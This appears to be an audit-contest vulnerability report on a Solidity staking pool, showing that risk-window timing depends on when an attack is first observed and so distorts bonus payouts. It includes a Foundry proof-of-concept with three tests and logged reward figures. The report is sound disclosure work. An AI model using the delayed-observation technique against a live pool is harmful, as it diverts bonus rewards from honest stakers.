FoundrySolidityLayer 2
7.25 ETH
Submission Details
Impact: high
Likelihood: high

The protocol's reward accounting is dependent on an observation latency, resulting in different outcomes for identical situations.

Author Revealed upon completion

Root + Impact

Description:

  • Reward accounting depends on the timestamp of the first observation of the UNDER_ATTACK state rather than solely on the attack transition itself.

function _observePoolState() internal returns (IAttackRegistry.ContractState state) {
state = _getAgreementState();
if (
!scopeLocked && state != IAttackRegistry.ContractState.NOT_DEPLOYED
&& state != IAttackRegistry.ContractState.NEW_DEPLOYMENT
) {
scopeLocked = true;
emit ScopeLocked(block.timestamp);
}
/*Once _observePoolState() is called by another function, it calls _markRiskWindowStart
* Which causes a delayed start to _markRiskWindowStart()
*/
@> if (riskWindowStart == 0 && _isActiveRiskState(state)) {
_markRiskWindowStart();
}
if (riskWindowEnd == 0 && _isTerminalState(state)) {
_markRiskWindowEnd();
}
}
function _markRiskWindowStart() internal {
/* when _markRiskWindowStart() is called, it takes saves the block.timestamp of the moment it was called
* Rather than the moment the state actually changed
*/
@> uint256 t = block.timestamp;
if (t > expiry) t = expiry;
riskWindowStart = uint32(t);
sumStakeTime = totalEligibleStake * t;
sumStakeTimeSq = totalEligibleStake * t * t;
emit RiskWindowStarted(t);
}

Risk

Likelihood: High

  • If no observation occurs while UNDER_ATTACK, then riskWindowStart is never initialized. Therefore, the bonus remains 0 for that round.

  • Observation of the attack is delayed until a function calls _obversePoolState() during an UNDER_ATTACK rather than when the agreement switched to UNDER_ATTACK. Because observation depends on a later interaction rather than the registry transition itself, the recorded timestamp may differ from the actual transition time.

Impact: High

  • Bonus rewards are calculated using an incorrect accounting window.

  • Honest stakers receive fewer bonus rewards than intended. or no bonus at all if the attack is never observed.

  • Participants staking after the attack has already begun may receive a larger share of bonus rewards than they would if the risk window began at the registry transition timestamp.

Proof of Concept

If no observation recorded during an attack, riskWindowStart is never initiated leading to no distribution of bonus during that round. Furthermore, because riskWindowStart initializes sumStakeTime and sumStakeTimeSq, delaying its initialization directly changes the values later consumed by _bonusShare(), producing different reward allocations despite identical attack timelines.

For demonstration, I ran three tests:

test_AttackWitnessedNoObservation(), in this scenario, no function calls _observePoolState(). Therefore, riskWindowStart remains 0 even after the attack is over. From the protocol's perspective, no attack has ever occured, causing _bonusShare() to result in 0 for every participant and preventing and bonus from being distributed.

Result :
Risk start: 0

Alice balance before attack : 1000 ETH

Alice balance after attack : 1000 ETH

test_LateEntrant_ImmediateObservation() is the control test, after agreement enters the UNDER_ATTACK state, pokeRiskWindow() is called instantly, allowing _markRiskWindowStart() to record the correct time of the attack.
Result : CONTROL

Risk start: 1750950400

Alice balance after reward: 1084210526315789473684

LateEntrants balance after reward: 765789473684210526315

Alice bonus: 84210526315789473684 ( 84.2105)

Bob bonus: 15789473684210526315 ( 15.7894)

test_LateEntrant_DelayedObservation() demonstrates how this vulnerability changes the accounting inputs used for bonus distribution. Although the agreements enters UNDER_ATTACK state on day 10, same as the control scenario, riskWindowStart remains 0 until the LateEntrant call stake() on day 15, altering the accounting used for bonus distribution.
Result :
EXPLOIT

Risk start: 1751382400

Alice balance after reward: 1057142857142857142857

LateEntrants balance after reward: 792857142857142857142

Alice bonus: 57142857142857142857 ( 57.1428 )

Bob bonus: 42857142857142857142 ( 42.8571 )

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;
import {Test} from "forge-std/Test.sol";
import {Clones} from "@openzeppelin/contracts/proxy/Clones.sol";
import {console} from "forge-std/console.sol";
import {ConfidencePool} from "src/ConfidencePool.sol";
import {IAttackRegistry} from "@battlechain/interface/IAttackRegistry.sol";
import {MockERC20} from "test/mocks/MockERC20.sol";
import {MockAttackRegistry} from "test/mocks/MockAttackRegistry.sol";
import {MockSafeHarborRegistry} from "test/mocks/MockSafeHarborRegistry.sol";
import {MockAgreement} from "test/mocks/MockAgreement.sol";
import {PoolStates} from "src/libraries/PoolStates.sol";
/**
* @title PoC: The protocol's reward accounting is dependent on an observation latency, resulting in different outcomes for identical situations.
* @author ZakariaeM
* @notice
* IMPACT 1: if the attack is never observed, the riskWindowStart remains uninitialized, resulting in a null bonus distribution.
* IMPACT 2: Because observation depends on a later interaction rather than the registry transition itself, the recorded timestamp may differ from the actual transition time. causing an unfair distribution of rewards between participants.
* To demonstrate the exploit, I have copied the setUp and initialization logic from the BaseConfidencePoolTest and created three tests.
*/
contract PoC is Test {
uint256 internal constant ONE = 1e18;
address internal constant DEFAULT_SCOPE_ACCOUNT = address(0xC0FFEE);
MockERC20 internal token;
MockAttackRegistry internal attackRegistry;
MockSafeHarborRegistry internal safeHarborRegistry;
MockAgreement internal agreementContract;
ConfidencePool internal pool;
address internal agreement;
address internal moderator = address(this);
address internal recovery = makeAddr("recovery");
address internal attacker = makeAddr("attacker");
address internal alice = makeAddr("alice");
address internal bob = makeAddr("bob");
address internal carol = makeAddr("carol");
address internal dave = makeAddr("dave");
/// @dev Realistic base timestamp (~2025-06-15) so the whole suite exercises the k=2 bonus
/// math and the uint32 timestamp casts at production-scale `block.timestamp` (~1.75e9), where
/// `T²·stake` magnitudes and any uint32 truncation risk actually live. Foundry's default base
/// of 1 would run every timestamp ~12 orders of magnitude too small to stress either.
uint256 internal constant BASE_TIMESTAMP = 1_750_000_000;
function setUp() public virtual {
/// Setup copied from BaseConfidencePoolTest, * The original test setup assigns a dedicated moderator address.
/// For this proof-of-concept, the moderator role was assigned to
/// `address(this)` to simplify execution of privileged resolution functions.
///
/// This modification does not affect the vulnerability demonstration,
/// as the exploit occurs before resolution and does not require
/// moderator privileges.
vm.warp(BASE_TIMESTAMP);
token = new MockERC20();
attackRegistry = new MockAttackRegistry();
safeHarborRegistry = new MockSafeHarborRegistry();
// Deploy a real MockAgreement so `childContractScope` queries during scope validation
// resolve to the staged enum values. Owner doesn't matter for direct pool tests; the
// factory tests use their own MockAgreement with the correct owner.
agreementContract = new MockAgreement(address(this));
agreement = address(agreementContract);
// Seed the default account as in-scope on the agreement so the default pool scope
// passes validation.
agreementContract.setContractInScope(DEFAULT_SCOPE_ACCOUNT, true);
safeHarborRegistry.setAttackRegistry(address(attackRegistry));
safeHarborRegistry.setAgreementValid(agreement, true);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.NEW_DEPLOYMENT);
ConfidencePool implementation = new ConfidencePool();
pool = ConfidencePool(Clones.clone(address(implementation)));
pool.initialize(
agreement,
address(token),
address(safeHarborRegistry),
moderator,
block.timestamp + 31 days,
ONE,
recovery,
address(this),
_defaultScope()
);
}
function _deployPool() internal returns (ConfidencePool deployedPool) {
ConfidencePool implementation = new ConfidencePool();
deployedPool = ConfidencePool(Clones.clone(address(implementation)));
deployedPool.initialize(
agreement,
address(token),
address(safeHarborRegistry),
moderator,
block.timestamp + 31 days,
ONE,
recovery,
address(this),
_defaultScope()
);
}
/// @dev Convenience helper: a one-account scope using the default account seeded in `setUp`.
/// Most tests don't care about scope contents, just that something is published.
function _defaultScope() internal pure returns (address[] memory accounts) {
accounts = new address[](1);
accounts[0] = DEFAULT_SCOPE_ACCOUNT;
}
function _stake(address user, uint256 amount) internal {
_stakeRaw(user, amount);
}
function _stakeRaw(address user, uint256 amount) internal {
token.mint(user, amount);
vm.startPrank(user);
token.approve(address(pool), amount);
pool.stake(amount);
vm.stopPrank();
}
function _contributeBonus(address user, uint256 amount) internal {
token.mint(user, amount);
vm.startPrank(user);
token.approve(address(pool), amount);
pool.contributeBonus(amount);
vm.stopPrank();
}
/// @dev Transition the registry through UNDER_ATTACK (poking to seal `riskWindowStart`).
/// `flagOutcome(CORRUPTED, ...)` requires an observed risk window, and bonus payouts pay
/// zero without one — tests that need either need to call this before terminal observation.
function _passThroughUnderAttack() internal {
attackRegistry.setAgreementState(IAttackRegistry.ContractState.UNDER_ATTACK);
pool.pokeRiskWindow();
}
function _withdraw(address user) internal {
vm.prank(user);
pool.withdraw();
}
function test_AttackWitnessedNoObservation() public {
uint256 start = pool.expiry() - 30 days;
uint256 HONEST_STAKE = 1000 ether;
uint256 BONUS_AMOUNT = 100 ether;
// Day 0:
// Contribute bonus
vm.warp(start);
token.mint(address(this), BONUS_AMOUNT);
token.approve(address(pool), BONUS_AMOUNT);
pool.contributeBonus(BONUS_AMOUNT);
// Day 1:
// Stakers join.
vm.warp(start + 1 days);
token.mint(alice, HONEST_STAKE);
vm.startPrank(alice);
token.approve(address(pool), HONEST_STAKE);
pool.stake(HONEST_STAKE);
vm.stopPrank();
// Day 10:
// Attack beguns, and the agreement enters the UNDER_ATTACK state, but no function is observing the attack yet.
vm.warp(start + 10 days);
attackRegistry.setAgreementState(
IAttackRegistry.ContractState.UNDER_ATTACK
);
// Day 20:
// Attack is over without ever observing the attack. The riskWindowStart remains uninitialized.
vm.warp(start + 20 days);
attackRegistry.setAgreementState(
IAttackRegistry.ContractState.PRODUCTION
);
vm.prank(moderator);
pool.flagOutcome(
PoolStates.Outcome.SURVIVED,
false,
address(0)
);
// Record the broken reward distribution.
vm.prank(alice);
pool.claimSurvived();
uint256 aliceBalance = token.balanceOf(alice);
console.log("EXPLOIT");
console.log("Risk start:", pool.riskWindowStart());
console.log("Alice balance before attack", HONEST_STAKE);
console.log("Alice balance after attack", aliceBalance);
assertEq(pool.riskWindowStart(), 0);
assertEq(aliceBalance, HONEST_STAKE);
assertEq(pool.claimedBonus(), 0);
assertEq(pool.snapshotTotalBonus(), BONUS_AMOUNT);
assertEq(pool.totalBonus(), BONUS_AMOUNT);
}
function test_LateEntrant_ImmediateObservation() public {
uint256 start = pool.expiry() - 30 days;
uint256 ALICE_STAKE = 1000 ether;
uint256 BOB_STAKE = 750 ether;
uint256 BONUS_AMOUNT = 100 ether;
// Day 0:
// Stakers join.
vm.warp(start);
token.mint(alice, ALICE_STAKE);
vm.startPrank(alice);
token.approve(address(pool), ALICE_STAKE);
pool.stake(ALICE_STAKE);
vm.stopPrank();
// Day 10:
// Attack beguns, and the agreement enters the UNDER_ATTACK state.
vm.warp(start + 10 days);
attackRegistry.setAgreementState(
IAttackRegistry.ContractState.UNDER_ATTACK
);
pool.pokeRiskWindow();
assertEq(pool.riskWindowStart(), start + 10 days);
// Bonus is contributed.
token.mint(address(this), BONUS_AMOUNT);
token.approve(address(pool), BONUS_AMOUNT);
pool.contributeBonus(BONUS_AMOUNT);
// Day 15:
// LateEntrant joins after the attack has already been observed.
vm.warp(start + 15 days);
token.mint(bob, BOB_STAKE);
vm.startPrank(bob);
token.approve(address(pool), BOB_STAKE);
pool.stake(BOB_STAKE);
vm.stopPrank();
// Attack is over.
vm.warp(start + 20 days);
attackRegistry.setAgreementState(
IAttackRegistry.ContractState.PRODUCTION
);
vm.prank(moderator);
pool.flagOutcome(
PoolStates.Outcome.SURVIVED,
false,
address(0)
);
// Record of the final reward distribution.
vm.prank(alice);
pool.claimSurvived();
vm.prank(bob);
pool.claimSurvived();
uint256 aliceBalance = token.balanceOf(alice);
uint256 LateEntrantsBalance = token.balanceOf(bob);
console.log(" CONTROL");
console.log("Risk start:", pool.riskWindowStart());
console.log("Alice balance after reward:", aliceBalance);
console.log("LateEntrant after reward:", LateEntrantsBalance);
console.log("Alice bonus:", aliceBalance - ALICE_STAKE);
console.log("Bob bonus:", LateEntrantsBalance - BOB_STAKE);
assertEq(pool.riskWindowStart(), start + 10 days);
}
function test_LateEntrant_DelayedObservation() public {
uint256 start = pool.expiry() - 30 days;
uint256 ALICE_STAKE = 1000 ether;
uint256 BOB_STAKE = 750 ether;
uint256 BONUS_AMOUNT = 100 ether;
// Day 0:
// Stakers join.
vm.warp(start);
token.mint(alice, ALICE_STAKE);
vm.startPrank(alice);
token.approve(address(pool), ALICE_STAKE);
pool.stake(ALICE_STAKE);
vm.stopPrank();
// Day 10:
// Attack beguns, and the agreement enters the UNDER_ATTACK state, but no function is observing the attack yet.
vm.warp(start + 10 days);
attackRegistry.setAgreementState(
IAttackRegistry.ContractState.UNDER_ATTACK
);
// Day 15:
// Bob joins after the attack has already begun.
// His stake() call is the first interaction that triggers _observePoolState().
vm.warp(start + 15 days);
token.mint(bob, BOB_STAKE);
vm.startPrank(bob);
token.approve(address(pool), BOB_STAKE);
pool.stake(BOB_STAKE);
vm.stopPrank();
// The protocol records Day 15 as the beginning of the risk window,
// even though the agreement entered UNDER_ATTACK on Day 10.
vm.warp(start + 16 days);
token.mint(address(this), BONUS_AMOUNT);
token.approve(address(pool), BONUS_AMOUNT);
pool.contributeBonus(BONUS_AMOUNT);
// Attack is over.
vm.warp(start + 20 days);
attackRegistry.setAgreementState(
IAttackRegistry.ContractState.PRODUCTION
);
vm.prank(moderator);
pool.flagOutcome(
PoolStates.Outcome.SURVIVED,
false,
address(0)
);
// Record the manipulated reward distribution.
vm.prank(alice);
pool.claimSurvived();
vm.prank(bob);
pool.claimSurvived();
uint256 aliceBalance = token.balanceOf(alice);
uint256 LateEntrantsBalance = token.balanceOf(bob);
console.log(" EXPLOIT ");
console.log("Risk start:", pool.riskWindowStart());
console.log("Alice balance after reward:", aliceBalance);
console.log("LateEntrant after reward:", LateEntrantsBalance);
console.log("Alice bonus:", aliceBalance - ALICE_STAKE);
console.log("Bob bonus:", LateEntrantsBalance - BOB_STAKE);
assertEq(pool.riskWindowStart(), start + 15 days);
}
}

Recommended Mitigation

The registry should provide a timestamp at which the agreement transition into UNDER_ATTACK.ConfidencePool should Initiate riskWindowStart from this recorded transaction rather than relaying on block.timestamp when _observePoolState is first executed during an UNDER_ATTACK.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!